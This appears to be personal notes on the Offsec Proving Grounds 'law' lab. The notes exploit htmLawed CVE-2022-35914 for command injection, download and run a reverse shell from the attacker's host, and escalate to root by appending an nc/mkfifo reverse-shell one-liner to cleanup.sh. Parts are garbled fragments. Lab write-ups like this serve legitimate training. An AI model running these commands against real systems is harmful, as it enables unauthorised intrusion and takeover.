

tags: Offsec PG Practice Intermediate Linux # law

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.182.190 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.182.190:22
Open 192.168.182.190:80

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp    open  http      syn-ack Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.56 (Debian)
|_ http-title: htmLawed (1.2.5) test
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` Search[CVE-2022-35914] (https://github.com/cosad3s/CVE-2022-35914-poc/tree/main), [Refer to]
(https://mayfly277.github.io/posts/GLPI-htmLawed-CVE-2022-35914/)
```python
def exploit(url,cmd,user_agent,check,hook):
    uri = "/index.php"
    headers = {'User-Agent': user_agent}
    ``` get reverseshell,`/var/www`get local.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9001

(kali㉿kali)-[~/pgplay/CVE-2022-35914-poc]
└─$ python CVE-2022-35914.py -u http://192.168.182.190 -c "wget 192.168.45.229/shell_9001"

(kali㉿kali)-[~/pgplay/CVE-2022-35914-poc]
└─$ python CVE-2022-35914.py -u http://192.168.182.190 -c "chmod +x shell_9001; ./shell_9001"

python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@law:/var/www$ cat local.txt
e783e3c215ebc338bb56b92255873cfa
``` /var/www`cleanup.sh,,wait for reverse shell,/rootget proof.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9002

www-data@law:/var/www$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.229 9002
>/tmp/f" >> cleanup.sh

# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@law:~# cat proof.txt
31981751138fa3f68b092fec218ca0f3
```